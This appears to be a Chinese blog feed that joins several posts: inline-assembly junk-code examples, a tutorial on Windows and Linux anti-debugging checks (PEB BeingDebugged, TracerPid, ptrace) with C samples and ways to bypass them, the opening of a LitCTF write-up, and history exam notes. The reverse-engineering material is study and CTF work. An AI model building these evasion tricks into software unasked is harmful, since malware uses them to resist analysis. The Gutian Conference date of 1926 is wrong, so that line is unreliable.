int main()
4
{
5
    asm (
6
        "xor %eax,%eax;"
7
        "jz s;"
8
        "add $0x11,%esp;"
9
        "s:;"
10
    );
11
    printf("hello,junkcode\n");
12
    return 0;
13
}

GCC 和 Clang 使用 AT&T 语法。

C 语言使用的是 __asm__，即：

1
#include<stdio.h>
2

3
int main()
4
{
5
    __asm__ (
6
        "xor %eax,%eax;"
7
        "jz s;"
8
        "add $0x11,%esp;"
9
        "s:;"
10
    );
11
    printf("hello,junkcode\n");
12
    return 0;
13
}

MSVC 使用 __asm 关键字，asm 不会报错但也不会生成可用代码。MSVC 使用 MSAM 标准及 Intel 语法，不支持在 ARM 和 x64 平台上编写内联汇编。

1
#include<cstdio>
2

3
int main()
4
{
5
    __asm {
6
      xor eax, eax
7
      jz s
8
      add esp, 11h
9
      s:
10
    };
11
    printf("hello,junkcode\n");
12
    return 0;
13
}

x64 平台需要编写独立的汇编文件，再引入进 CPP 文件。

反动态调试技术与应对手段

Mon, 26 May 2025 11:04:11 GMT

鉴于 LitCTF 耻辱性的大败，加上最近一批课程结课，空出了一些时间，因此开始着手系统学习一下反调试了。

反调试简介#

严格意义上的反调试指的是反动态调试。动态调试可以验证静态分析结果和观察程序运行时数据，因此程序开发者通常会设置反调试来检测自己开发的程序是否正在被调试。

不管是什么反调试，都有绕过方法。反调试和反反调试一直处于对抗状态。

Windows 平台反调试#

基于 PEB 的反调试#

PEB（Process Environment Block，进程环境块）是一个存放进程信息的结构体。

官方文档没有完整记录这个结构体的信息，需要通过 WinDbg 或者第三方文档查看。完整结构非常长，我们只会涉及其中一少部分变量。

PEB 的完整信息

1
struct _PEB {
2
0x000 BYTE InheritedAddressSpace;
3
0x001 BYTE ReadImageFileExecOptions;
4
0x002 BYTE BeingDebugged;
5
0x003 BYTE SpareBool;
6
0x004 void* Mutant;
7
0x008 void* ImageBaseAddress;
8
0x00c _PEB_LDR_DATA* Ldr;
9
0x010 _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;
10
0x014 void* SubSystemData;
11
0x018 void* ProcessHeap;
12
0x01c _RTL_CRITICAL_SECTION* FastPebLock;
13
0x020 void* FastPebLockRoutine;
14
0x024 void* FastPebUnlockRoutine;
15
0x028 DWORD EnvironmentUpdateCount;
16
0x02c void* KernelCallbackTable;
17
0x030 DWORD SystemReserved[1];
18
0x034 DWORD ExecuteOptions:2;
19
 // bit offset: 34, len=2
20
0x034 DWORD SpareBits:30;
21
 // bit offset: 34, len=30
22
0x038 _PEB_FREE_BLOCK* FreeList;
23
0x03c DWORD TlsExpansionCounter;
24
0x040 void* TlsBitmap;
25
0x044 DWORD TlsBitmapBits[2];
26
0x04c void* ReadOnlySharedMemoryBase;
27
0x050 void* ReadOnlySharedMemoryHeap;
28
0x054 void** ReadOnlyStaticServerData;
29
0x058 void* AnsiCodePageData;
30
0x05c void* OemCodePageData;
31
0x060 void* UnicodeCaseTableData;
32
0x064 DWORD NumberOfProcessors;
33
0x068 DWORD NtGlobalFlag;
34
0x070 _LARGE_INTEGER CriticalSectionTimeout;
35
0x078 DWORD HeapSegmentReserve;
36
0x07c DWORD HeapSegmentCommit;
37
0x080 DWORD HeapDeCommitTotalFreeThreshold;
38
0x084 DWORD HeapDeCommitFreeBlockThreshold;
39
0x088 DWORD NumberOfHeaps;
40
0x08c DWORD MaximumNumberOfHeaps;
41
0x090 void** ProcessHeaps;
42
0x094 void* GdiSharedHandleTable;
43
0x098 void* ProcessStarterHelper;
44
0x09c DWORD GdiDCAttributeList;
45
0x0a0 void* LoaderLock;
46
0x0a4 DWORD OSMajorVersion;
47
0x0a8 DWORD OSMinorVersion;
48
0x0ac WORD OSBuildNumber;
49
0x0ae WORD OSCSDVersion;
50
0x0b0 DWORD OSPlatformId;
51
0x0b4 DWORD ImageSubsystem;
52
0x0b8 DWORD ImageSubsystemMajorVersion;
53
0x0bc DWORD ImageSubsystemMinorVersion;
54
0x0c0 DWORD ImageProcessAffinityMask;
55
0x0c4 DWORD GdiHandleBuffer[34];
56
0x14c void (*PostProcessInitRoutine)();
57
0x150 void* TlsExpansionBitmap;
58
0x154 DWORD TlsExpansionBitmapBits[32];
59
0x1d4 DWORD SessionId;
60
0x1d8 _ULARGE_INTEGER AppCompatFlags;
61
0x1e0 _ULARGE_INTEGER AppCompatFlagsUser;
62
0x1e8 void* pShimData;
63
0x1ec void* AppCompatInfo;
64
0x1f0 _UNICODE_STRING CSDVersion;
65
0x1f8 void* ActivationContextData;
66
0x1fc void* ProcessAssemblyStorageMap;
67
0x200 void* SystemDefaultActivationContextData;
68
0x204 void* SystemAssemblyStorageMap;
69
0x208 DWORD MinimumStackCommit;
70
} PEB, *PPEB;

展开收起

PEB 位于 32 位架构的 FS 段和 64 位架构的 GS 段中，偏移量为 0x30。这些内存段中还存有 TEB（Thread Environment Block，线程环境块），包含进程中运行线程的各种信息。进程中的每个线程都对应着一个 TEB 结构体。

TEB 的完整信息

1
typedef struct _TEB
2
{
3
     NT_TIB NtTib;
4
     PVOID EnvironmentPointer;
5
     CLIENT_ID ClientId;
6
     PVOID ActiveRpcHandle;
7
     PVOID ThreadLocalStoragePointer;
8
     PPEB ProcessEnvironmentBlock;
9
     ULONG LastErrorValue;
10
     ULONG CountOfOwnedCriticalSections;
11
     PVOID CsrClientThread;
12
     PVOID Win32ThreadInfo;
13
     ULONG User32Reserved[26];
14
     ULONG UserReserved[5];
15
     PVOID WOW32Reserved;
16
     ULONG CurrentLocale;
17
     ULONG FpSoftwareStatusRegister;
18
     VOID * SystemReserved1[54];
19
     LONG ExceptionCode;
20
     PACTIVATION_CONTEXT_STACK ActivationContextStackPointer;
21
     UCHAR SpareBytes1[36];
22
     ULONG TxFsContext;
23
     GDI_TEB_BATCH GdiTebBatch;
24
     CLIENT_ID RealClientId;
25
     PVOID GdiCachedProcessHandle;
26
     ULONG GdiClientPID;
27
     ULONG GdiClientTID;
28
     PVOID GdiThreadLocalInfo;
29
     ULONG Win32ClientInfo[62];
30
     VOID * glDispatchTable[233];
31
     ULONG glReserved1[29];
32
     PVOID glReserved2;
33
     PVOID glSectionInfo;
34
     PVOID glSection;
35
     PVOID glTable;
36
     PVOID glCurrentRC;
37
     PVOID glContext;
38
     ULONG LastStatusValue;
39
     UNICODE_STRING StaticUnicodeString;
40
     WCHAR StaticUnicodeBuffer[261];
41
     PVOID DeallocationStack;
42
     VOID * TlsSlots[64];
43
     LIST_ENTRY TlsLinks;
44
     PVOID Vdm;
45
     PVOID ReservedForNtRpc;
46
     VOID * DbgSsReserved[2];
47
     ULONG HardErrorMode;
48
     VOID * Instrumentation[9];
49
     GUID ActivityId;
50
     PVOID SubProcessTag;
51
     PVOID EtwLocalData;
52
     PVOID EtwTraceData;
53
     PVOID WinSockData;
54
     ULONG GdiBatchCount;
55
     UCHAR SpareBool0;
56
     UCHAR SpareBool1;
57
     UCHAR SpareBool2;
58
     UCHAR IdealProcessor;
59
     ULONG GuaranteedStackBytes;
60
     PVOID ReservedForPerf;
61
     PVOID ReservedForOle;
62
     ULONG WaitingOnLoaderLock;
63
     PVOID SavedPriorityState;
64
     ULONG SoftPatchPtr1;
65
     PVOID ThreadPoolData;
66
     VOID * * TlsExpansionSlots;
67
     ULONG ImpersonationLocale;
68
     ULONG IsImpersonating;
69
     PVOID NlsCache;
70
     PVOID pShimData;
71
     ULONG HeapVirtualAffinity;
72
     PVOID CurrentTransactionHandle;
73
     PTEB_ACTIVE_FRAME ActiveFrame;
74
     PVOID FlsData;
75
     PVOID PreferredLanguages;
76
     PVOID UserPrefLanguages;
77
     PVOID MergedPrefLanguages;
78
     ULONG MuiImpersonation;
79
     WORD CrossTebFlags;
80
     ULONG SpareCrossTebBits: 16;
81
     WORD SameTebFlags;
82
     ULONG DbgSafeThunkCall: 1;
83
     ULONG DbgInDebugPrint: 1;
84
     ULONG DbgHasFiberData: 1;
85
     ULONG DbgSkipThreadAttach: 1;
86
     ULONG DbgWerInShipAssertCode: 1;
87
     ULONG DbgRanProcessInit: 1;
88
     ULONG DbgClonedThread: 1;
89
     ULONG DbgSuppressDebugMsg: 1;
90
     ULONG SpareSameTebBits: 8;
91
     PVOID TxnScopeEnterCallback;
92
     PVOID TxnScopeExitCallback;
93
     PVOID TxnScopeContext;
94
     ULONG LockCount;
95
     ULONG ProcessRundown;
96
     UINT64 LastSwitchTime;
97
     UINT64 TotalSwitchOutTime;
98
     LARGE_INTEGER WaitReasonBitMap;
99
} TEB, *PTEB;

展开收起

获取 PEB 结构体的两种办法#

借助 FS 或 GS 段寄存器所指的 TEB 结构体可以轻松获取 PEB 结构体地址，这是因为 TEB 结构体中的 ProcessEnvironmentBlock 成员是指向 PEB 结构体地址的。于是：

直接获取 PEB 地址

1
MOV EAX, DWORD PTR FS: [0x30] ; FS: [0x30]就是PEB地址

先获取 TEB，再通过 TEB.ProcessEnvironmentBlock 获取 PEB 地址

1
MOV EAX, DWORD PTR FS: [0x18] ; FS: [0x18]是TEB地址
2
MOV EAX, DWORD PTR DS: [EAX+0x30] ; DS: [EAX+0x30]是PEB地址

调试检测手段#

BeingDebugged

当进程处于调试状态时，该成员的值会被设置成为 1；在非调试状态下运行时，设置为 0。IsDebuggerPresent 函数可以通过检测这个值来判断程序是否在调试
```
1
mov eax, dword ptr fs:[18] ; 获取TEB地址
2
mov eax, dword ptr ds:[eax+30] ; 获取PEB地址
3
movz eax byte ptr ds:[eax+2] ; 获取PEB偏移为2的结构体元素，即BeingDebugged
```

ProcessHeap

利用进程堆 (HEAP) 进行反调试。PEB.ProcessHeap 成员是指向默认 HEAP 结构体的指针。

Note

1
   ...
2
   +0x018 ProcessHeap      : 0x00090000 Void                    //进程默认堆
3
   ...
4
   +0x078 HeapSegmentReserve : 0x100000                         //堆的默认保留大小，字节数，1MB
5
   +0x07c HeapSegmentCommit : 0x2000                            //堆的默认提交大小，8KB （两个内存页，x86 默认内存页 4KB）
6
   ...
7
   +0x088 NumberOfHeaps    : 0x10                               //堆的数量
8
   +0x08c MaximumNumberOfHeaps : 0x10                           //堆的最大数量
9
   +0x090 ProcessHeaps     : 0x7c99cfc0  -> 0x00090000 Void     //堆句柄数组
10
   ...

（和视频教程的有出入，需要验证）

GetProcessHeap 函数获取到 HEAP 结构体后，比较重要的

Linux 平台反调试#

利用进程相关 ID#

Linux 内核有一个特殊的虚拟文件系统 /proc。每个进程跑起来之后，内核会在 /proc/<pid>/ 下创建一个目录，实时反映这个进程的状态，并在运行时更改某些内核参数 (sysctl)。进程可以从 /proc/<pid>/* 读取自己的信息，而无需额外的权限。

cat 比较特殊——它的 <pid> 应该用 self 代替。

* 代表各项信息条目。常用的有：cmdline（命令行参数）、maps（内存映射）、mem（用于直接读写内存）、status（人类可读的进程状态）

例如：

Terminal window

1
$ pidof vim
2
15132
3
$ cat /proc/15132/status
4
Name:   vim
5
Umask:  0022
6
State:  S (sleeping)
7
Tgid:   15132
8
Ngid:   0
9
Pid:    15132
10
PPid:   3174
11
TracerPid:      0
12
...

其中 TracerPid 对反调试是有用的，因为它代表跟踪此进程的进程的 PID。一旦有调试器 attach 进来，TracerPid 就变成调试器的 PID。很多 APP 的反调试代码就是定期读这个值，不为 0 就强退。

在 Linux 中，getppid 函数用于获取父进程 ID (parent process ID)。由于 Linux 中一个进程只能被它的父进程跟踪，因此如果某个进程的父进程不是常见的 shell（如 bash）而是 gdb 等，说明该进程正在被跟踪。

1
#include <stdio.h>
2
#include <string.h>
3
int main(int argc, char *argv[]) {
4
   char buf0[32], buf1[128];
5
   FILE* p;
6

7
   snprintf(buf0, 24, "/proc/%d/cmdline", getppid());
8
   p = fopen(buf0, "r");
9
   fgets(buf1, 128, p);
10
   fclose(p);
11

12
   if(!strcmp(buf1, "gdb")) {
13
       printf("Debugger detected");
14
       return 1;
15
   }
16
   printf("All good");
17
   return 0;
18
}

上述程序会检测到 gdb 的存在，从而终止程序并返回错误。

另外一种方法是利用 session ID（会话 ID）。无论被跟踪与否，session ID 不变，而 ppid 会变。

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <unistd.h>
4

5
int main(void)
6
{
7
   if(getsid(getpid()) != getppid())
8
   {
9
      printf("traced!\n");
10
      return(EXIT_FAILURE);
11
   }
12
   printf("not debugging\n");
13
   return 0;
14
}

对于这类反调试，修改 getppid() 或 getsid() 的返回值即可。

利用 `ptrace`#

在 Linux 中，ptrace 函数用于让父进程跟踪子进程。有很多大家所常用的工具都基于 ptrace 来实现，如 strace 和 gdb。

ptrace 只允许同一时间内进程最多被一个调试器进行调试。如果进程自身已经调用 ptrace，那么其他通过 ptrace 发起的调试都会被拒绝并返回 -1。

1
#include <stdio.h>
2
#include <sys/ptrace.h>
3
int main(int argc, char *argv[])
4
{
5
   if(ptrace(PTRACE_TRACEME, 0, 0, 0) == -1)
6
   {
7
      printf("Debugger detected");
8
      return 1;
9
   }
10
   printf("All good");
11
   return 0;
12
}

对于这类反调试，要么绕过 ptrace() 函数，要么直接 nop 掉这个函数（nop 是比较好的方案）。

我们还可以构造多重 ptrace()，并增加一些简单的验证：

1
#include <stdio.h>
2
#include <sys/ptrace.h>
3

4
int main()
5
{
6
   int offset = 0;
7

8
   if (ptrace(PTRACE_TRACEME, 0, 1, 0) == 0)
9
   {
10
     offset = 2;
11
   }
12

13
   if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1)
14
   {
15
     offset = offset * 3;
16
   }
17

18
   if (offset == 2 * 3)
19
   {
20
      printf("normal execution\n");
21
   }
22
   else
23
   {
24
      printf("don't trace me !!\n");
25
   }
26

27
   return 0;
28
}

展开收起

现在 nop 都不能直接用了，因为我们需要保证验证时 offset 具有正确的值。

LitCTF2025 Personal WriteUP

Mon, 26 May 2025 10:33:33 GMT

旅行照片我恨你 QAQ

口瓜，我不要看花指令口牙

Info

Writer: Watermelonabc from Hacklz Team

我们队解出 7 题（含白送的问卷题），得 745 分，总排 196 / 613

（看这分数就明白了，我会的其他人基本也会，其他人不会的我也不会）

Official Writeup

LitCTF2025 官方WP

Reverse - easy_rc4#

将程序拖进 DIE：

64 位无壳

福州大学2025中国近现代史纲要复习

Wed, 21 May 2025 00:05:00 GMT

丰矿的复习，吉列的记忆

无客观题，试题结构：2 × 名词解释 + 2 × 简答题 + 材料 + 论述（现场决定，30 分）

名词解释模板：时间、地点、人物、主要内容（过程）、评价（意义）

Note

复习题目可以参考教材课后思考题

论述题应该一致，其他地方每个老师可能不一样，优先参考自己老师画的重点

每个考次考卷都有不一样的地方，不要想着打时间差，否则一题都押不到就尴尬了

Warning

页码依据旧的 2023 印次课本，如果是新印次课本仅供参考

Tip

感谢鹿鹿鱼鱼（山有木兮木有枝）分享的 6 道论述题答案 ♥️ 感谢柚子厨（这玩意儿是昵称）分享的大量提纲感谢新生 QQ 群里学长提供的旧复习提纲。 Umi-OCR 提供 OCR 识别支持

1. 中国近现代史的主流与本质（P1）#

中国人民为救亡图存和实现中华民族伟大复兴而英勇奋斗、艰辛探索并不断取得伟大成就的历史

2. 本课程的主要学习目的（P11）#

（四个选择）历史和人民是怎样：

选择了马克思主义
选择了中国共产党
选择了社会主义
选择了改革开放

3. 中国近代史的起点（鸦片战争）#

帝国主义侵略中国的途径#

军事侵略：发动侵略战争，屠杀中国人民；侵占中国领土，划分势力范围；勒索赔款，抢掠财富。
政治控制：控制中国的内政、外交；镇压中国人民的反抗；扶植和收买代理人。
经济掠夺：控制中国的通商口岸；剥夺中国的关税自主权；实行商品倾销和资本输出；操纵中国的经济命脉。
文化渗透：披着宗教外衣，进行侵略活动；为侵略中国制造舆论。

什么是“半殖民地半封建社会”？(P19)#

半殖民地
- 资本-帝国列强通过发动侵略战争，强迫中国签订一系列不平等条约，破坏中国的领土主权、领海主权、关税主权、司法主权等，并一步步地控制中国的政治、经济、外交和军事。中国已经丧失了完全独立的地位，在相当程度上被殖民地化了。
- 由于与连名义上的独立也没有而由殖民主义宗主国直接统治的殖民地尚有区别，因此被称作半殖民地。
半封建
- 外国资本-帝国列强用武力打开中国的门户，把中国卷入世界资本主义经济体系和世界市场中。
- 一方面，破坏了中国自给自足的自然经济的基础；另一方面，则促进了中国城乡商品经济的发展，给中国资本主义的产生提供了某些客观条件。
- 中国已经不是完全的封建社会了，因此被称为半封建社会。

4. 近代中国的主要矛盾和历史任务（P23）#

帝国主义和中华民族的矛盾（最主要）、封建主义和人民大众的矛盾 成为中国社会的主要矛盾

争取民族独立和人民解放（前提）、实现国家富强和人民幸福（归宿）成为中华民族面临的两大历史任务

5. 反侵略战争的失败原因（P41）#

两个原因：

社会制度的腐败（更根本）

腐败的中国半殖民地半封建的社会制度，阻碍了中国人民群众的广泛动员和抵抗，是近代中国反侵略战争屡遭失败的 最重要 原因。

经济技术的落后

是另一个重要原因。然而，武器是战争的重要因素，但不是决定因素。决定因素 是人不是物。

而当时的中国，不仅武器装备等很落后，而且反动统治阶级实行错误的方针、政策，并压制人民群众的动员。这样，中国的反侵略战争一再遭到失败,才成为不可避免的了。

论述题 1：资本-帝国主义入侵对中国近代社会的影响（负面为主，正面次要）#

外国资本-帝国主义的入侵不是促进而是严重阻碍了中国资本主义的发展

第一，外国资本一帝国主义的入侵 打断了中国自主地步入资本主义社会的进程。中国封建社会内的商品经济的发展，已经孕育着资本主义的萌芽，有向资本主义社会发展的趋向。但是外国资本一帝国主义的入侵使中国社会的发展轨迹脱离了常轨，而滑向了半殖民地半封建社会的深渊。
第二，资本一帝国主义列强 通过向中国发动多次侵略战争，并且采取军事、政治、经济和文化的手段，强迫中国政府与之订立丧权辱国的不平等条约，在中国攫取了种种特权，给近代中国带来深重的灾难。（举 1-2 史实，见第一章第二节）
- 例如 1842 年，英国强迫清政府签订《南京条约》，把香港岛割让给英国；1895 年，日本强迫清政府签订《马关条约》，割去中国台湾全岛及所有附属各岛屿和澎湖列岛。

资本-帝国主义的侵略客观上促使中国发生资本主义因素，但仅仅是“充当了历史的不自觉的工具”

第一，外国资本主义的入侵给中国资本主义的产生造成了 某些客观的条件和可能。这种作用是客观发生的。如瓦解中国的封建自然经济，把中国卷入世界市场和世界资本主义经济体系，传播了西方资本主义生产方式和物质文明，客观上为中国资本主义、中国无产阶级、资产阶级、新型知识分子的产生创造了物质前提。这就是马克思所说的“殖民主义充当了历史的不自觉的工具”。
第二，不能夸大 外国资本主义的入侵促进中国资本主义发展的作用。这种作用是十分有限的。资本一帝国主义为了其自身利益，在把西方资本主义生产方式传入中国的同时，又有意保留中国的封建生产关系——封建地租剥削和高利贷剥削并使之永久化，他们无意于让中国走向独立富强的民族国家。它们为中国资本主义创造物质的前提是以中国人民付出极大牺牲和痛苦为代价的。资本主义生产方式和物质文明所产生的成果和利益。绝大多数是中国人民享受不到的。
第三，从正义与非正义、是非善恶的道德判断角度来看。英国发动鸦片战争以及资本一帝国主义列强侵略中国是 非正义的。它们向中国走私毒品鸦片，贩卖人口，发动战争，运用各种手段掠夺、屠杀、压迫、剥削中国人民。这些都是极其野蛮的、可耻的、不道德的罪行。决不能因其有着“双重使命”的客观效果而替资本一帝国主义侵略辩护、美化甚至评功摆好。

6. 国家出路的早期探索（旧民主主义革命）#

地主阶级改革派：经世致用，师夷制夷
农民阶级：平均平等
地主阶级洋务派：中学为体，西学为用
资产阶级改良派：维新变法，君主立宪
资产阶级革命派：推翻专制，创建共和

《天朝田亩制度》#

1853 年 3 月太平天国定都天京后，洪秀全颁布了《天朝田亩制度》，是最能体现太平天国社会理想和这次农民起义特色的纲领性文件。它确立了平均分配土地的方案。

否定了封建社会的基础即封建土地所有制，体现了广大农民要求平均分配的强烈愿望，具有进步意义。

但是没有超出农民小生产者的狭隘眼界。仍然是闭塞的自给自足的自然经济，是没有商品交换的和绝对平均的社会，具有不切实际的空想性质。

洋务运动与“中体西用”#

19 世纪 60 年代，曾国藩，李鸿章，张之洞等主张引进、仿造西方的武器装备和学习西方的科学技术，创设近代企业，兴办洋务。冯桂芬 提出，张之洞总结出了“中学为体，西学为用” ，即 中体西用 的思想，就是 以中国封建伦理纲常所维护的统治秩序为主体，用西方的近代工业和技术为辅助，并以前者来支配后者。

洋务运动在客观上对中国早期工业和民族资本主义的发展起到了某些促进作用，但这主要是为了维护封建统治；给当时的中国带来了新的知识，使人们开阔了眼界；有利于资本主义经济的发展，也有利于社会风气的改变。

洋务运动具有 封建性：“中体西用”必然失败，新的生产力是同封建主义的生产关系及其上层建筑 不相容 的；而且还具有 依赖性和腐朽性，因此洋务运动不可能为中国摆脱贫弱找到出路，也不可能避免最终失败的命运。

戊戌变法（百日维新）#

1898 年 6 月 11 日，光绪皇帝颁布了“明定国是”谕旨，宣布开始变法，并在此后的 103 天中，接连发布一系列推行新政的政令，包括政治、经济、军事和文化教育等方面。

维新历经 103 天，最终夭折。以慈禧太后为首的保守势力发动“戊戌政变”，扼杀维新运动。

百日维新期间颁布的各项政令旨在开放一定程度的言论，出版，结社的自由，使资产阶级享受一定程度的政治权利，促进资本主义工商业的发展，是一场资产阶级性质的改良运动。

戊戌变法运动的失败原因：

客观上，主要是由于维新派自身的局限和以慈禧太后为首的强大的守旧势力的反对
主观上，维新派不敢否定封建主义，对帝国主义抱有幻想，惧怕人民群众

它的失败表明，在半殖民地半封建的旧中国，企图通过统治者走自上而下的改良道路，是根本行不通的，必须用革命的手段推翻帝国主义封建主义联合统治的半殖民地半封建社会制度。

清末新政#

1901 年，清政府成立督办政务处，宣布实行“新政”，陆续推行了一些方面的改革措施（废科举、预备立宪等），但是没有能够挽救清王朝，反而激化了社会矛盾，加重了危机。

主要原因在于，清政府改革的根本目的是延续其反动统治。

三民主义的内涵及局限性#

民族主义
- 驱除鞑虏，恢复中华：以革命手段推翻清政府，建立民族独立国家，实行民族革命
- 缺陷：没有从正面提出反对帝国主义的主张，没有提出推翻地主豪绅阶级的统治
民权主义
- 创立民国：推翻君主专制制度，建立资产阶级共和国，完成政治革命
- 缺陷：国民是有阶级性的，没有确定广大劳动群众在国家中的地位
民生主义
- 平均地权：防止资本主义制度下贫富分化与对立，达成社会革命的目的。
- 缺陷：带有浓厚的空想色彩，没有触及封建土地所有制，难以成为发动广大工农群众的理论武器。

论述题 2：结合清末新政和辛亥革命谈谈如何认识近代中国的改良与革命两种救国方案#

（1）从社会历史的前进运动来看，革命和改良 都是推动历史前进的动力。革命和改良究竟哪种好，不能下定论。是采取革命的方式还是改良的方式，完全取决于这个国家的历史状况、社会政治状况、阶级状况等现实国情。

（2）革命的发生是有条件的，不是什么个人任意制造出来的。 辛亥革命时期民族危机严重，社会矛盾尖锐，革命思想传播，腐朽的清政府已无法照旧统治下去了。

（3）在当时的中国，不存在走改良道路的现实可能性。改良的发生也是要有条件的。因为改良一般是在现有体制中进行的，所以，能否实行改良或者改良能否成功，关键在于现有体制是否允许改良，在于统治者是否有改革的诚意。20 世纪初，为了换救危机，清政府不得不进行一些改革，但它的根本目的，是“永固皇位”，是借改良加强中央集权、加强皇权。由于清政府阻塞了改良之路，社会普遍弥漫着革命情绪，只是等待着有人出来登高一呼。

（4）宣扬告别革命的人攻击革命的一个论点是所谓“杀人流血”。当时改良派攻击革命时也是这样说的。事实上真正交战的地区仅出现在武汉地区与南京地区，其他不是规模很小就是呈现一边倒。时间跨度不长，前后不过 125 天，武汉之战断断续续 49 天，南京之战乎顿乎起 26 天。伤亡程度不算大，武汉之战，起义军战死 4300 余人，受伤 4100 余人。清军方面伤亡更少。

（5）否定革命的另一个论点是，“革命是个破坏性的力量。”破坏不是革命的目的，只是一种手段。“革命之破坏与革命之建设必相辅而行，犹人之两足，鸟之双翼也。“孙中山领导的辛亥革命推翻了清政府，建立了资产阶级共和国。但是 辛亥革命的失败，却恰恰是它对旧制度破坏不彻底，未能完成反帝反封建的历史任务。

辛亥革命失败的原因（P87）#

从根本上说，是因为在帝国主义时代，在半殖民地半封建的中国，资本主义的建国方案是行不通的。
客观原因：以袁世凯为代表的大地主大买办势力以及旧官僚、立宪派一起勾结起来。
主观原因：
1. 没有提出彻底的反帝反封建的革命纲领
2. 不能充分地发动和依靠人民群众
3. 不能建立起坚强的革命政党

7. 国家出路的探索（开始新民主主义革命）#

新文化运动#

1915 年 9 月陈独秀在上海创办《青年杂志》（后改名《新青年》），新文化运动开始。

新文化运动的基本口号是拥护“德先生”和“赛先生”，即提倡民主和科学。其倡导者以进化论观点和个性解放为主要武器，提倡白话文，反对文言文，通过批判孔学，动摇了封建正统思想的统治地位，在中国社会掀起一股思想解放的潮流。

十月革命#

1917 年，俄国爆发十月社会主义革命。

十月革命吸引中国先进分子的原因：

第一，十月革命发生在国情和中国相同（封建压迫严重），或者近似（经济文化落后）的俄国，因而对中国先进分子具有特殊吸引力。（国情）

第二，十月革命诞生的社会主义国号召反对帝国主义，并以新的平等的态度对待中国，有力推动了社会主义思想在中国的传播。（反帝）

第三，十月革命中俄国工人、农民和士兵群众的广泛发动并由此得到胜利的事实，给予中国先进分子新的革命方法和启示，推动他们研究这个革命所遵循的主义。（群众路线）

五四运动#

1919年，五四运动爆发。

五四运动的评价：

第一，有彻底反帝反封建的革命性

第二，有各界各族群众参与的广泛性

第三，推动了中国社会进步，促进了马克思主义在中国的传播，与工人运动的结合

第四，高举爱国主义的伟大旗帜，孕育了以爱国、进步、民主、科学为主要内容的伟大五四精神

第五，以全民族的行动激发了追求真理、追求进步的伟大觉醒

第六，培育了永久奋斗的伟大传统

正因如此，五四运动成为新民主主义革命的开端。

论述题 3：中国的先进分子为什么和怎么样选择马克思主义？#

第一，缘于历史的昭示：为了争取民族独立、人民解放，必须运用新的思想武器。

旧民主主义革命的实践证明，各个阶级的政治主张都没有也不可能为中国人民找到一条真正的出路，中国人民需要用新的革命理论方法把中华民族引向复兴和富强。
一系列事件：
1. 新文化运动：对资产阶级思想武器产生怀疑民主、自由不能反帝。
2. 第一次世界大战：对资本主义政治制度产生怀疑。
3. 十月革命：送来马克思主义，既可反帝又可反封建。
4. 巴黎和会外交失败：认清帝国主义的本质。

第二，中国先进分子经过比较、探求，在形形色色的主义中选择了马克思主义。马克思主义满足了中国革命既要反帝又要反封建的双重诉求。

（结合教材三次论战的内容，说明胡适的改良主义、无政府主义等为什么不能救中国）

当时，各类报刊刊印着各种社会主义流派的观点，如无政府主义、改良主义等。其中无政府主义占优势。
共产党早期组织成员同无政府主义者进行了论战。针对这种错误思潮，他们指出，必须用革命手段夺取政权，建立无产阶级专政，才能保护劳动者的利益，最终消灭阶级和阶级差别。

Note
1920 年底，张东荪、梁启超等声称中国产业落后，不具备成立工人阶级政党的条件。解决中国问题的办法是依靠“绅商阶级”来振兴实业，发展资本主义。
共产党早期组织成员同样主张振兴实业，但他们从一开始就强调资本主义道路在中国走不通。中国的出路只能是社会主义，中国必须建立工人阶级政党来领导中国人民进行革命。
无政府主义从极端个人主义出发，鼓吹个人的绝对自由，反对一切权威、一切国家包括无产阶级专政的国家，反对任何组织纪律，主张绝对平均主义等。
针对这种错误思潮，马克思主义者指出，必须用革命手段夺取政权，建立无产阶级专政，才能保护劳动者的利益，最终消灭阶级和阶级差别，从而使国家消亡；主张个人绝对自由，会使得工人阶级不能集中为强大的力量，从而有利于资产阶级瓦解工人运动；在社会生产力高度发达之前，如果实行各尽所能、各取所需的原则，“社会的经济的秩序就要弄糟了”。

第三，马克思主义作为一种外来文化与中国传统文化具有相融性

在 社会理想 方面：“大同”思想与共产主义社会的构想
在 政治观 方面，民本思想与无产阶级专政理论
在 历史观 方面，敢于斗争与阶级斗争学说
价值观 方面，家族本位与集体主义价值观念

新旧三民主义的比较#

比较内容	旧三民主义	新三民主义
民族	没有反帝，也没有反对封建地主阶级	突出反帝内容，强调对外实行中华民族的独立
民权	国民主要是指资产阶级及其知识分子，忽略了广大劳动群众在国家中的地位。	民主权利应“为一般平民所共有”，不应为“少数人所得而私”
民生	平均地权，没有触及封建地主土地所有制	增加节制资本，后来又提出“耕者有其田”

新三民主义同中共在民主革命阶段的纲领基本一致是国共合作的政治基础

中国共产党成立使中国革命面貌焕然一新（P109）#

有了新的领导阶级及其核心——无产阶级和中国共产党
有了新的指导思想和革命纲领——马克思列宁主义和彻底的民主革命纲领
有了新的革命方法——实行群众路线
有了新的革命前途——可以避免资本主义的趋势而从新民主主义走向社会主义
有了伟大建党精神的激励——坚持真理、坚守理想，践行初心、担当使命，不怕牺牲、英勇斗争，对党忠诚、不负人民
开辟了中国革命新局面——轰轰烈烈的国民大革命，推翻了北洋军阀的统治

大革命失败的教训#

客观上是由于反革命力量强大，资产阶级发生动摇，蒋介石集团、汪精卫集团先后叛变革命。
主观上是由于中国共产党还缺乏应对复杂环境的政治经验，缺乏对中国社会和中国革命基本问题的深刻认识，不善于讲马克思主义与中国实际相结合，以及右倾思想发展到右倾机会主义并占统治地位。
外部原因是大革命后期共产国际错误的引导

8. 中国革命新道路“新在哪里”#

第一，农村包围城市、武装夺取政权 的革命新道路，创造性地解决了为坚持和发展农村革命根据地所必须解决的一系列根本问题。

第二，坚持武装斗争，确立党对军队的绝对领导；开展土地革命，将土地分给农民；加强根据地建设，成为革命力量的主要战略阵地。

八七会议#

1927 年 8 月 7 日在汉口召开，确定了 土地革命和武装起义 的方针，强调 政权是由枪杆子中取得的，提出了找到新的道路的任务。八七会议给在思想混乱和组织决散中的中国共产党指明了新的出路，这是由大革命的失败到土地战争兴起的历史性转变。

古田会议#

1926 年 12 月，在福建上杭县古田村召开，通过了毛泽东起草的古田会议决议，其重要内容是纠正党内错误的思想决议案，确立了思想建党，政治建军的原则；阐述了加强党的思想建设的极端重要性，指明党内各种非无产阶级思想的表现，来源和纠正方法。古田会议是中国共产党和红军建设的纲领性文件，是党和人民军队建设史上重要的里程碑。

党内左倾错误原因#

历史根源：八七会议以后党内一直存在着浓厚的左倾情绪，始终没有得到认真的清理
